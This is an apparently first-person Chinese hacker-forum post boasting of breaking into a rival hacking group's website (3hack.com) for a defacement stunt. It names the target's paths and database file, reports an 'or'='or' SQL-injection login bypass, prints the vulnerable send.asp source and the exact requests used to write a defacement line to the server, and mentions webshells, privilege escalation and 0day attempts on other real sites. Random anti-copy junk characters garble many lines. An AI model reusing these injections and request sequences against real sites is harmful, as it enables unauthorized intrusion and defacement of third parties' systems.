入侵华东黑客联盟装X的过程

admin

有些朋友对我和云中鹰搞华东的过程比较感兴趣，其实那个很没技术含量
今天闲着无聊，把手上的项目葛一下，来论坛放松一下，顺便说说上次搞华东黑客联盟到装B的过程
这天云中鸡说华东的某人很牛X，利用JPG黑站大法把恶灵战队黑了，还发了个demo出来
0 l% L) M) _" K我去看了一下demo，感觉很黑客，于是就和云中鸡搞了一下华东
首先，我记得华东只被人搞过一次（记性不好，原谅下~~），所以应该防护还是比较好的
; m1 c# c- n6 n& \6 G2 b服务器应该防ARP，不过这还只是猜测
0 \9 m4 _; l% I云中鸡说先不搞C段，PZ一下再说
然后我就打开了链接标记[url=http://www.3hack.comwww.3hack.com[/url[/url]]
* ]8 Q+ N( D% S一看，我晕，怎么网站变了................以前我比较喜欢到华东去看动画，现在怎么变成这鸟样了，晕..............
4 p( d; z) E& y6 J这时候云中鸡丢了一个同F的站过来，说进了后台搞不了shell
! k8 {; M) S7 n5 {- {/ D4 t我看了下搞到了一个webshell出来（这里涉及点技巧，不过不是重点，故省略....），登上webshell后发现服务器的权限很BT
然后我就把shell丢给云中鸡去提权，过了一会儿找到了一个二级玉米的站shop.xiahack.cn
看着是用eshop来架设的网店，虽然不是同F，但还是想搞下他看有什么可利用的地方，用了几个0day去搞发现不是最新版，0day用不鸟
问了下云中鸡提权怎样了，他说还在努力，装不鸟B就不睡觉，晕了，这下入侵陷入了僵局...............
无聊到网上乱逛，这时无意中发现一个阿拉伯XXXXXX，具体就不说啥鸟，呵呵~~
& N4 o' h/ b& ?3 k9 _然后阿拉伯黑客发现了链接标记[url=http://www.3hack.comwww.3hack.com[/url[/url]]上有个xia的目录很可疑，于是我就去看看是什么
打开一看，如图1所示。
$ U. T* H! Z0 A; m1 X
http://00day.cn/forum/attachment/thumb/6_1_a8d665f343765b2.jpg
+ R' o5 f2 f( b4 p) V: ?* \* ]  Z我靠~~这啥东西？这么帅？点进去一看，如图2所示。
- q6 v! ^8 K& o3 X
http://00day.cn/forum/attachment/thumb/6_1_d741c5c7b6b8a48.jpg
3 g' b/ u5 A0 }( x) b$ l3 D太帅了，真YD！！
# A: V( X- v6 W$ e; }* g这个页面应该是一套个人主页程序，而且还挺炫的！
这个页面有发表日志的地方，应该可能存在登陆页面，找了一轮后发现当鼠标放到网页顶端的时候就会弹出登陆页面，如图3所示。
# E) {0 G) i; I2 @3 n: b" a: f. D
3 c% m/ P4 h: G, d! B7 I9 p http://00day.cn/forum/attachment/6_1_b03700cb2fe5d52.jpg
嘿嘿，试着'or'='or'居然进去了！！如图4所示。
  q  |2 w$ H0 P) }
http://00day.cn/forum/attachment/6_1_7107004af344a3c.jpg
经过半个多小时的摸索，还是没有发现可利用的地方。
这下郁闷了，不管了，把这套程序下载下来看看吧
* Q+ F& j: d( \+ M9 K7 E找了一会才知道这套程序叫做“V时代个人flash主页”
到官方下了套最新版，然后找了一下可利用的地方，不一会，我发现“/html/admin”这个目录很可能可以利用
于是马上打开链接标记[url=http://www.3hack.com/xia/html/adminhttp://www.3hack.com/xia/html/admin[/url[/url]]
返回的确实找不到页面，郁闷了，输入链接标记[url=http://www.3hack.com/xia/html/http://www.3hack.com/xia/html/[/url[/url]]
同样是找不到页面，真晕！再看看！
7 ^& s" }  s* y! h, a+ \  B5分钟过后，我发现后台地址是“/asp”，默认数据库是“/asp/vshidai.mdb”，嘿嘿！这下你不死定了！
马上打开链接标记[url=http://www.3hack.com/xia/asp/vshidai.mdbhttp://www.3hack.com/xia/asp/vshidai.mdb[/url[/url]]，我晕！服务器居然设置了mdb后缀映射，下载不了！
! Y& L0 F4 {' |: G0 g1 d; V打开链接标记[url=http://www.3hack.com/xia/asp/http://www.3hack.com/xia/asp/[/url[/url]]，发现返回空白，这下我真是服了！
希望快覆灭了，这时我点到了根目录下的send.asp文件，看到里面存在着一个有意思的东西，代码如下：
9 \) ?0 l+ [- P# A
var a
var b
var tx
5 n! J1 D& G, |; V/ Evar clean
$ [; {4 G8 t5 j7 {: V# va=Request("re")
$ `; b$ `- a/ Q5 A& }9 @clean=Request("clean")
4 D+ N) h) b' q5 jvar jian="test.txt"
! s. ~( z. P) ?' m+ F+ c
if(clean==1){
% i. O6 ]: b# |1 s4 utx="&a="
var fs2
var fs2=Server.CreateObject("Scripting.FileSystemObject")
! m: }& L6 g5 Q( x$ J4 Z1 Vvar newdt=fs2.OpenTextFile(Server.MapPath(jian),2,true)
newdt.WriteLine("&a=")
8 f, _) M* U, p. \newdt.close()
- U5 |# W6 e! {0 u}
$ _$ g- o: n/ a" i+ i  q
3 ?/ o0 p- Q) u  E' Lif(clean==0|clean==1){
- }3 J  `2 U# V  W" ?: a4 Ftx=""
var fso = Server.Createobject("Scripting.FileSystemObject")
var file = fso.OpenTextFile(Server.Mappath(jian))
while (!file.AtEndOfStream){
tx=file.ReadLine()
5 |  Q* |- e- O0 O* zResponse.write (tx)
# E* U9 u7 Y5 z1 ^}
Response.write ("&")
  V! ~8 ^: c2 \3 _- Q# S, J6 tfile.close()
# r% c: u- P# i; D& d) z}

4 `7 G4 A0 D6 G0 F6 M1 {if(clean==2){
tx=""
9 ?5 ~7 e- O6 v- Tvar fso = Server.Createobject("Scripting.FileSystemObject")
0 {' L- n% ], U$ {5 o* i" _var file = fso.OpenTextFile(Server.Mappath(jian))
* {" [: `1 s5 N& H
5 Q2 a+ @3 f2 u. D: jvar fs2
var fs2=Server.CreateObject("Scripting.FileSystemObject")
9 m( ?9 a) ^9 N0 ]var newdt=fs2.OpenTextFile(Server.MapPath(jian),8,true)
- s& I, K. z7 A& G
8 [/ q9 T. v8 u2 n9 K! A+ P) z: u
: F1 j- ]% p1 ]while (!file.AtEndOfStream){
6 ^4 `% t* s) P) p* i& x: t! ctx=file.ReadLine()
Response.write (tx)}
$ Y; k' J6 K7 W" l/ \9 g7 u, s
& v; ^' u* }; F+ bResponse.write (a+"&")
newdt.WriteLine(a)
0 o( s& h: V) T. B# @: W, ]
9 z8 X% \5 V8 }+ U+ c4 h* c' `file.close()
newdt.close()
- U  u3 U% R, `$ e3 G5 \}


6 c" H; H' _* H, k+ s复制代码
这下应该可以装B了！从代码看出，我们首先要提交“send.asp?clean=1”来创建一个名为test.txt的文件，文件里面写着“&a=&”
接下来我们提交“send.asp?clean=2&re=H4cked by 落叶纷飞 and 云中鹰....00day.cn全体飘过”
这样就能在test.txt文件里新建一行并写入“H4cked by 落叶纷飞 and 云中鹰....00day.cn全体飘过”这句话
过程如图5、6所示。

http://00day.cn/forum/attachment/thumb/6_1_cd66a1c03f6682b.jpg
  
http://00day.cn/forum/attachment/thumb/6_1_942adfb1ce45224.jpg
提交后我们打开链接标记[url=http://www.3hack.com/xia/test.txtwww.3hack.com/xia/test.txt[/url[/url]]看看，如图7所示。
- @6 W  ?5 j% S, G& U% J
http://00day.cn/forum/attachment/thumb/6_1_10f60a12650b618.jpg
$ E) ~6 J9 {  y# B2 N! y这下终于可以装到X了，如果不是V时代的作者写的send.asp代码存在问题，拿到shell是不难的
3 ^$ L; S6 C/ g+ S! ?如果jian是经过request取值的话，同样也能搞到shell。
) v2 R' t, {$ r8 U- t; O这次只是装到了X，并没有拿到shell
; h+ M& I* G" I* f9 l. c已经是凌晨了，跟云中J说了声就睡觉去鸟
2 c7 v! C- ~# a, w( h估计那B可能搞到了权限，不过我没问他，最近事情比较多，也比较忙
就到这里吧，没技术含量，纯粹装X，高手们见笑了
另外劝告某些认为上传个JPG就能黑到站的大黑客，你这样自欺欺人吃亏的是你自己
2 g3 F/ c3 @( M自己学不到技术，却还在自欺欺人
! E9 ]- A9 {: \- o' e, W5 N* v: G) B1 }不说了，本文到这里，最后感谢一下阿拉伯黑客，原来阿拉伯黑客也是很强大的，好了，猪大家愉快~~
/ v; f, Y0 n/ ]